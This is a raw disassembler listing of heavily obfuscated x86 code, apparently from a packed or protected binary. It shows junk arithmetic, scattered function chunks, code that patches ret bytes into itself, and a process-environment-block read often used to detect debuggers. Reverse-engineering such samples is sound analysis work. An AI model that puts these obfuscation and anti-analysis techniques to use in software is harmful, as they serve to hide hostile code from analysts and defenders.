sub_4429A6	proc near		; CODE XREF: sub_440E0B-3A4Ep

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043722D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437816 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004386A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00438D36 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043C027 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C4EB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043D13C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00441160 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004426E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004427B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442EE7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446B43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446E15 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00448AB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BA2F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		mov	edx, eax
		call	sub_4479B1
		call	sub_44B64C
		jmp	loc_438D36
sub_4429A6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4429BC	proc near		; CODE XREF: sub_445B81+16j

; FUNCTION CHUNK AT 00444583 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447CAE SIZE 00000006 BYTES

		push	ebx
		push	394050CDh
		pop	ebx
		xor	ebx, 0C0C779A2h
		jmp	loc_444583
sub_4429BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4429CE:				; CODE XREF: kgbikm34:0043D031j
		js	loc_448673
		mov	[ebx], edx

; =============== S U B	R O U T	I N E =======================================



sub_4429D6	proc near		; CODE XREF: sub_43EF8B+2ADFp

; FUNCTION CHUNK AT 0043B9F7 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[edx], eax
		pop	edx
		lea	eax, sub_446B3C
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B9F7
sub_4429D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_4429EB:				; CODE XREF: kgbikm34:0044BF8Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_4429EC:				; CODE XREF: sub_4394EB+AFF2j
		jmp	loc_43E363
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_4429F1:				; CODE XREF: sub_44B20C:loc_4370D4j
		pop	eax
		sub	eax, 0B5B255E8h
		cmp	eax, 77D93F4Fh
		jmp	loc_445FD5
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_442A03:				; CODE XREF: sub_4474D5:loc_43FB98j
		rol	eax, 2
		jmp	loc_443741
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
		push	esi
		push	519ECE86h
		pop	esi
		rol	esi, 1Dh
		call	sub_4467D1
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_442A1A:				; CODE XREF: sub_43FF32-12F5j
		ror	ebx, 9
		shr	ecx, 0Eh

loc_442A20:				; CODE XREF: sub_438B6B+F8F0j
		push	1C91949Eh
		sbb	ebp, esi
		jmp	loc_44BB08
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------

loc_442A2C:				; CODE XREF: kgbikm34:00439499j
		sub	eax, 0EF3E7CDFh
		xor	eax, 4C315420h
		add	eax, 408400B8h
		xchg	eax, [esp]
		jmp	loc_4490C2

; =============== S U B	R O U T	I N E =======================================



sub_442A46	proc near		; CODE XREF: kgbikm34:00439250j
					; kgbikm34:0043A7B8j ...

; FUNCTION CHUNK AT 0043A6F9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E65E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441FB5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443A58 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00445DFA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446B19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447462 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00447C0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044822D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044B0FA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B248 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43C584
		or	eax, eax
		jnz	loc_44B248
		jmp	loc_43A6F9
sub_442A46	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_442A60:				; CODE XREF: sub_43EAEE:loc_44296Aj
		cmp	eax, 675A8A30h
		jmp	loc_43B756
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------

loc_442A6B:				; CODE XREF: kgbikm34:00440CD9j
		jz	loc_437105

loc_442A71:				; CODE XREF: kgbikm34:0044D127j
		and	edi, 6DA192AFh
		add	edi, 0D7A28BF8h
		mov	[edi], edx
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_43FD1A

loc_442A80:				; CODE XREF: sub_43FD1A+Ej
					; kgbikm34:0044767Dj
		push	offset loc_441C12
		jmp	loc_44DF9F
; END OF FUNCTION CHUNK	FOR sub_43FD1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_442A8A:				; CODE XREF: sub_448C95:loc_43DA4Ej
		call	sub_4495F6

loc_442A8F:				; CODE XREF: sub_43EAEE+D63Fj
		jmp	loc_43D11F
; END OF FUNCTION CHUNK	FOR sub_448C95

; =============== S U B	R O U T	I N E =======================================



sub_442A94	proc near		; DATA XREF: sub_43ED21+Co
		call	sub_44B64C
		call	sub_448D30
sub_442A94	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_442A9E:				; CODE XREF: sub_4390CF+8C1Cj
		jmp	nullsub_144
; END OF FUNCTION CHUNK	FOR sub_4390CF
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_43A105
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_442AA9:				; CODE XREF: sub_43D045+2081j
		jbe	loc_43BBE5

loc_442AAF:				; CODE XREF: sub_43D045:loc_4442A0j
		mov	eax, 80F02D07h
		push	edx
		push	96AE234h
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_43D045
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_442ABB:				; CODE XREF: sub_449D78:loc_43AD6Cj
		xor	edx, 8B82C550h
		jmp	loc_43BB1E
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		mov	ds:dword_41E068, eax
		lea	eax, nullsub_318
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B01B
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43EB8F
		push	offset loc_43786E
		jmp	locret_43CCA9
; ---------------------------------------------------------------------------
		push	984FFE4Ch
		jmp	sub_4479D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2CF

loc_442AF8:				; CODE XREF: sub_43B2CF+6F40j
		and	edx, 0DBF6852Fh
		sub	edx, 0CF817C35h
		and	edx, 0A75B093Ah
		add	edx, 32739578h
		jmp	loc_43F914
; END OF FUNCTION CHUNK	FOR sub_43B2CF

; =============== S U B	R O U T	I N E =======================================



sub_442B15	proc near		; CODE XREF: sub_437954+Dp
					; kgbikm34:0043851Fj

; FUNCTION CHUNK AT 00439501 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439B0C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043DFD7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043FAA9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043FE86 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044177F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442456 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447429 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004478B4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00449CE6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044B658 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B80E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B95B SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_43BF6F
		mov	ds:dword_41E060, eax
		jmp	loc_44B95B
sub_442B15	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_442B29	proc near		; DATA XREF: sub_449EC1+7o

; FUNCTION CHUNK AT 00445B5B SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pushf
		push	13E9EC79h
		pop	eax
		sub	eax, 284DBCBCh
		add	eax, 9A8848Eh
		or	eax, 434F8F38h
		jmp	loc_445B5B
sub_442B29	endp

; ---------------------------------------------------------------------------
		sub	eax, 91E4BE20h
		not	esi
		jmp	sub_449A78
; ---------------------------------------------------------------------------

loc_442B57:				; CODE XREF: kgbikm34:004442F7j
		adc	ecx, 908A571Dh

; =============== S U B	R O U T	I N E =======================================



sub_442B5D	proc near		; CODE XREF: sub_43F4F9+1Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A19C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C106 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00441651 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004430D3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444B91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446CC5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00447895 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004487E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C2E2 SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		rol	eax, 1Dh
		sub	eax, 0F59DC734h
		jmp	loc_441651
sub_442B5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_442B6F:				; CODE XREF: sub_43CD5D+8E7Cj
		add	edx, 0C0102CAh
		or	edx, 0F0283494h
		call	sub_43AB03

loc_442B80:				; CODE XREF: sub_44BA42+3j
		jmp	loc_442D03
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F6D0

loc_442B85:				; CODE XREF: sub_43F6D0+94E9j
		jmp	loc_44AE28
; END OF FUNCTION CHUNK	FOR sub_43F6D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_442B8A:				; CODE XREF: sub_44368F-61E5j
		jmp	loc_446354
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------

loc_442B8F:				; CODE XREF: kgbikm34:0043C7BAj
		jmp	locret_44177E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_442B94:				; CODE XREF: sub_444240+1337j
		xchg	esi, [esp+8+var_8]
		jmp	loc_43C18B
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------
		jmp	ds:off_41E120
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438ACE

loc_442BA2:				; CODE XREF: sub_438ACE+D7Fj
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_438ACE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E39

loc_442BA7:				; CODE XREF: sub_448E39:loc_43A0B0j
					; kgbikm34:loc_43D77Fj	...
		push	offset loc_441329
		jmp	loc_43C594
; END OF FUNCTION CHUNK	FOR sub_448E39

; =============== S U B	R O U T	I N E =======================================



sub_442BB1	proc near		; DATA XREF: sub_442EA7+7o
		push	ecx

loc_442BB2:				; CODE XREF: kgbikm34:0044C3BAj
		push	732820D3h
		pop	ecx
		xor	ecx, 0DF41FB17h
		add	ecx, 53DA345Dh
		push	offset loc_44029B
		jmp	nullsub_365
sub_442BB1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_442BCE:				; CODE XREF: sub_439003:loc_4400F0j
		push	597EC583h
		pop	edi
		or	edi, 8DEB9D28h
		xor	edi, 0FBF4200Eh
		jmp	loc_44C005
; END OF FUNCTION CHUNK	FOR sub_439003
; ---------------------------------------------------------------------------

locret_442BE5:				; CODE XREF: kgbikm34:loc_43AA18j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_442BE6:				; CODE XREF: sub_43B1D6+6F8Ej
		jmp	loc_44C568
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------

loc_442BEB:				; CODE XREF: kgbikm34:004398CCj
		jmp	locret_44BC1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_442BF0:				; CODE XREF: sub_439609+C087j
		jno	loc_4480F2

loc_442BF6:				; CODE XREF: sub_439609:loc_43D863j
		push	68D1D4B2h
		xchg	edx, [esp-4+arg_0]
		mov	eax, edx
		jmp	loc_44C3A0
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
		rol	edx, 1Bh
		jmp	sub_4428DE
; ---------------------------------------------------------------------------

loc_442C0D:				; CODE XREF: kgbikm34:0043A1ACj
		jnz	loc_43B8A4
		shr	eax, 14h
		test	ebp, 14574D46h
		jmp	loc_449E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_442C21:				; CODE XREF: sub_43C55C:loc_444676j
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_444B20
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		jmp	loc_43DD4A
; END OF FUNCTION CHUNK	FOR sub_43C55C

; =============== S U B	R O U T	I N E =======================================



sub_442C37	proc near		; CODE XREF: kgbikm34:00439A15j
					; kgbikm34:004412ECp
		xchg	edx, [esp+0]
		pop	edx
		mov	esp, ebp
		pop	ebp
		retn
sub_442C37	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_442C3F	proc near		; CODE XREF: kgbikm34:004412E7p
					; kgbikm34:00444281p ...
		call	sub_4438E2
sub_442C3F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_442C44	proc near		; CODE XREF: sub_44114F-9D5Ap
					; sub_445F1B+1447j

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_44739D
sub_442C44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_442C50:				; CODE XREF: kgbikm34:00439FC9j
		mov	ebp, eax
; START	OF FUNCTION CHUNK FOR sub_43A3D0

loc_442C52:				; CODE XREF: sub_43A3D0-419j
		add	eax, 0ECD40997h
		and	eax, 5013614Dh
		or	eax, 1E68F7CDh
		call	sub_4403A3
; END OF FUNCTION CHUNK	FOR sub_43A3D0
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_442C69:				; CODE XREF: sub_43EA97+7A5Aj
					; sub_449893:loc_4475C3j
		push	edx
		push	77D81F47h
		pop	edx

loc_442C70:				; CODE XREF: kgbikm34:0043FB54j
		xor	edx, 0E14B89C2h
		sub	edx, 62A2A242h
		add	edx, 0CC533847h
		xchg	edx, [esp+0]
		jmp	sub_44A9D8
; END OF FUNCTION CHUNK	FOR sub_43EA97
; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
		jmp	loc_43B011
; ---------------------------------------------------------------------------

loc_442C94:				; CODE XREF: kgbikm34:loc_437931j
		cdq
; START	OF FUNCTION CHUNK FOR sub_43D632

loc_442C95:				; CODE XREF: sub_43D632:loc_437914j
		or	ecx, 8C05FA08h
		push	offset loc_44D10D
		jmp	loc_43F656
; END OF FUNCTION CHUNK	FOR sub_43D632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAE4

loc_442CA5:				; CODE XREF: sub_44DAE4:loc_447045j
		pop	eax
		xor	eax, 0EDAA5C60h
		sub	eax, 0E945ACF4h
		rol	eax, 0Ah
		jmp	loc_445843
; END OF FUNCTION CHUNK	FOR sub_44DAE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_442CBA:				; CODE XREF: sub_43741E:loc_44BDEDj
		jz	loc_4424B6
		jmp	loc_445464
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_442CC5:				; CODE XREF: sub_44B47A-F116j
		jnz	loc_43DD16
		jmp	loc_43FAEE
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
		not	eax
		jmp	loc_43B434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_442CD7:				; CODE XREF: sub_4372E5+82E9j
		or	ecx, 613EF7F6h
		or	edi, ecx
		jmp	loc_44BEFC
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_442CE4:				; CODE XREF: sub_4441EB:loc_441DF6j
					; sub_4441EB+431Ej
		call	sub_44A9D8
		mov	edx, 64EFA9EDh
		push	esi
		push	0E255FA72h
		pop	esi
		and	esi, 76AD6FD4h
		rol	esi, 4
		jmp	loc_4402AE
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_442D03:				; CODE XREF: sub_43CD5D:loc_442B80j
		call	sub_43BCAD

loc_442D08:				; CODE XREF: sub_43CB0F+C598j
		jmp	loc_43A2E3
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_442D0D:				; CODE XREF: sub_43D045:loc_438984j
		jz	loc_449BFE
		jmp	loc_4420CE
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_442D18:				; CODE XREF: sub_44C093+16j
		rol	ebx, 18h
		test	ebx, 2000000h
		jmp	loc_443DA6
; END OF FUNCTION CHUNK	FOR sub_44C093
; ---------------------------------------------------------------------------

loc_442D26:				; CODE XREF: kgbikm34:0043F701j
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_43E7E4
; ---------------------------------------------------------------------------

loc_442D32:				; CODE XREF: kgbikm34:loc_43D921j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jmp	loc_442887
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_442D3D:				; CODE XREF: sub_447E85:loc_44351Fj
		jz	loc_44872E
		jmp	loc_44A45E
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_442D48:				; CODE XREF: sub_44114F:loc_43C813j
		jge	loc_448FD2
		cmp	ecx, ebx
		jmp	loc_4436C7
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

loc_442D55:				; CODE XREF: kgbikm34:0044CFC7j
		jbe	loc_43DD30
		rol	ebp, 9
		jmp	sub_43EAAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_442D63:				; CODE XREF: sub_4474D5-8800j
		jz	loc_44925B

loc_442D69:				; CODE XREF: sub_439609:loc_43B39Ej
		jmp	loc_43B8BB
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_442D6E:				; CODE XREF: kgbikm34:loc_448ADFj
		xchg	ebx, [esp]
		push	esi
		push	23EBC774h
		pop	esi
		rol	esi, 1
		xor	esi, 4A9EB60Fh
		jmp	loc_444E6A
; ---------------------------------------------------------------------------

loc_442D85:				; CODE XREF: kgbikm34:00449487j
		jnz	loc_44C9EC
		jmp	loc_43AE36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_442D90:				; CODE XREF: sub_43B1D6+113ABj
		xchg	esi, [edi]
		jmp	loc_44C4E5
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
		dec	eax
		push	0F5CF7EC8h
		pop	edx
		xor	edx, 0A55539D0h
		or	edx, 30F8BA6Bh
		jmp	loc_43D51D
; ---------------------------------------------------------------------------

loc_442DAF:				; CODE XREF: kgbikm34:0044CAE5j
		shl	edi, 11h

; =============== S U B	R O U T	I N E =======================================



sub_442DB2	proc near		; CODE XREF: kgbikm34:0044189Cp

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp-4+arg_0]
		mov	eax, edx
		call	sub_44BA42
		mov	eax, [esp-4+arg_0]
		call	sub_43C7C6

loc_442DC8:				; CODE XREF: kgbikm34:0044B85Cj
		jmp	nullsub_351
sub_442DB2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_442DCD:				; CODE XREF: sub_4474D5:loc_449AA9j
		add	edi, 0FBF0ACD2h
		xchg	edi, [esp+0]
		jmp	loc_440B68
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_442DDB:				; CODE XREF: kgbikm34:00447D11j
		add	eax, 0B11EAFE9h
		add	eax, ebp
		add	eax, 0FB9B13EFh
		mov	eax, [eax]
		push	offset sub_43A07D
		jmp	loc_4383F8

; =============== S U B	R O U T	I N E =======================================



sub_442DF5	proc near		; CODE XREF: sub_4403D5:loc_439119j
					; sub_43EAAD+51C8p ...

; FUNCTION CHUNK AT 004456C5 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	edx, eax
		call	sub_4479B1
		mov	eax, [ebp-1Ch]
		jmp	loc_4456C5
sub_442DF5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_442E08:				; CODE XREF: sub_440841:loc_44052Fj
		mov	byte ptr [eax],	0C3h
		jmp	loc_4449F9
; END OF FUNCTION CHUNK	FOR sub_440841

; =============== S U B	R O U T	I N E =======================================



sub_442E10	proc near		; CODE XREF: sub_404954+35Ep
					; sub_408355+5Ep ...
		call	sub_442E1B
		jmp	ds:off_41E07C
sub_442E10	endp


; =============== S U B	R O U T	I N E =======================================



sub_442E1B	proc near		; CODE XREF: sub_43F5F7:loc_437A22j
					; sub_440104+Dj ...

; FUNCTION CHUNK AT 00446148 SIZE 00000005 BYTES

		push	offset loc_4394E0
		jmp	loc_446148
sub_442E1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_442E25	proc near		; CODE XREF: sub_444681-6BAFp
					; sub_44649E-7EB5j

; FUNCTION CHUNK AT 00446926 SIZE 00000022 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	edx, ebp
		add	edx, 3322E546h
		call	sub_43B0B7

loc_442E36:				; CODE XREF: sub_444BCC+1AB8j
		jmp	loc_446926
sub_442E25	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DEE7

loc_442E3B:				; CODE XREF: sub_43DEE7:loc_44DBE7j
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_43DEEE
		retn
; END OF FUNCTION CHUNK	FOR sub_43DEE7
; ---------------------------------------------------------------------------

loc_442E47:				; CODE XREF: kgbikm34:0044AF52j
		jmp	loc_43F2A3

; =============== S U B	R O U T	I N E =======================================



sub_442E4C	proc near		; CODE XREF: sub_447F4D+Cp
		push	ebx
		push	ecx

loc_442E4E:				; CODE XREF: kgbikm34:0044D64Dj
		mov	eax, large fs:30h
		jmp	loc_44D81A
sub_442E4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_442E5A	proc near		; DATA XREF: kgbikm34:0044D559o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440608 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044BD54 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044D480 SIZE 00000005 BYTES

		pop	edx
		jns	loc_440608
		mov	eax, [esp-4+arg_0]
		push	edx
		push	eax
		jmp	loc_44BD54
sub_442E5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebp, eax
		adc	ebp, 22C53E33h
		jmp	sub_44E065
; ---------------------------------------------------------------------------
		push	0EC10C47Ch
		jmp	sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B991

loc_442E82:				; CODE XREF: sub_44B991+12j
		jge	loc_43A35D
; END OF FUNCTION CHUNK	FOR sub_44B991
; START	OF FUNCTION CHUNK FOR sub_448D26

loc_442E88:				; CODE XREF: sub_448D26+5j
		jmp	nullsub_271
; END OF FUNCTION CHUNK	FOR sub_448D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_442E8D:				; CODE XREF: sub_43A179+6D25j
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_43A179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C332

loc_442E92:				; CODE XREF: sub_43C332-231j
		jmp	sub_43FD86
; END OF FUNCTION CHUNK	FOR sub_43C332
; ---------------------------------------------------------------------------
		ja	loc_43D552
		popf
		sub	ebx, edx
		jmp	loc_44551E
; ---------------------------------------------------------------------------

loc_442EA5:				; CODE XREF: kgbikm34:00448AEFj
		mov	ebx, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_442EA7	proc near		; CODE XREF: kgbikm34:0044604Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044D192 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	offset sub_442BB1
		jmp	loc_44D192
sub_442EA7	endp

; ---------------------------------------------------------------------------

loc_442EB8:				; DATA XREF: sub_43B61A+7o
		pop	ebp
		push	edx
		push	0C3F5E5C4h
		pop	edx
		sub	edx, 5D67C428h
		test	edx, 1000h
		jmp	loc_44BB6C
; ---------------------------------------------------------------------------

loc_442ED1:				; DATA XREF: sub_43B1D6+C947o
		add	ebx, 15DD93A7h
		mov	ebx, [ebx]
		xchg	ebx, [esp]
		push	dword ptr [ebp+8]
		call	eax
		push	esi
		jmp	loc_4396CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_442EE7:				; CODE XREF: sub_4429A6-5853j
		push	60A4FC46h
		pop	ecx
		or	ecx, 0C2B4119Ah
		rol	ecx, 1Dh
		jmp	loc_44BA2F
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DE11

loc_442EFB:				; CODE XREF: sub_43DE11:loc_4426C1j
		push	eax
		mov	edx, eax

loc_442EFE:				; CODE XREF: sub_439BDE+C9F4j
		call	sub_4479B1
		push	eax
		jmp	loc_43BD6C
; END OF FUNCTION CHUNK	FOR sub_43DE11

; =============== S U B	R O U T	I N E =======================================



sub_442F09	proc near		; CODE XREF: kgbikm34:00438786j
					; sub_43EA97+Cp

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043AEBB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B040 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F1A2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00442F1C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00445D50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004462D3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00446B37 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446BB7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004472DC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D745 SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	esi
		lea	eax, loc_43AEBB
		mov	byte ptr [eax],	0C3h
		jmp	loc_43AEBB
sub_442F09	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_442F1C:				; CODE XREF: sub_442F09-804Dj
		mov	eax, [esp-0Ch+arg_8]
		push	edx
		push	edx
		jmp	loc_44D745
; END OF FUNCTION CHUNK	FOR sub_442F09

; =============== S U B	R O U T	I N E =======================================



sub_442F26	proc near		; CODE XREF: kgbikm34:00439325j
					; sub_449F77:loc_43DC2Aj ...
		xchg	esi, [esp+0]
		pop	esi
		call	sub_4487F2
		retn
sub_442F26	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_442F30:				; CODE XREF: sub_43F65B+1DBFj
		jmp	sub_44AD10
; END OF FUNCTION CHUNK	FOR sub_43F65B
; ---------------------------------------------------------------------------
		db 0C1h, 5Ah, 0E7h
dword_442F38	dd 0			; DATA XREF: kgbikm34:loc_43C658r
; ---------------------------------------------------------------------------
